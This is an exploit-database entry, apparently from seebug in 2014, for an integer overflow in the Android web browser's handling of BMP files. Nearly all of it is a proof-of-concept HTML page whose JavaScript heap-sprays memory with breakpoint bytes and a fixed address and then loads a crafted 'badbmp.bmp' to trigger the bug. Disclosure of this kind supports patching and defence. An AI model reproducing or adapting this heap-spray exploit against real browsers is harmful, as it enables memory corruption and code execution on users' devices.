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Android Web Browser - BMP File Integer Overflow Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 11 Views

Android Web Browser BMP File Integer Overflow Vulnerabilit

Code

                                                <HTML>
<HEAD>
</HEAD>
<BODY>
<script type="text/javascript">
// Fill 0x200000 - 0xa00000 with Breakpoints
var nop = unescape("%u0001%uef9f");
while (nop.length <= 0x100000/2) nop += nop;
var i = 0;
for (i = 0;i<5;i++)
  document.write(nop)
 
// Fill 0xa00000 - 0x1100000 with address 0x00400040
var nop = unescape("%u4000%u4000");
while (nop.length <= 0x100000/2) nop += nop;
var i = 0;
for (i = 0;i<2;i++)
  document.write(nop)
</script>
<IMG src=badbmp.bmp>
</BODY>
</HTML>
                              

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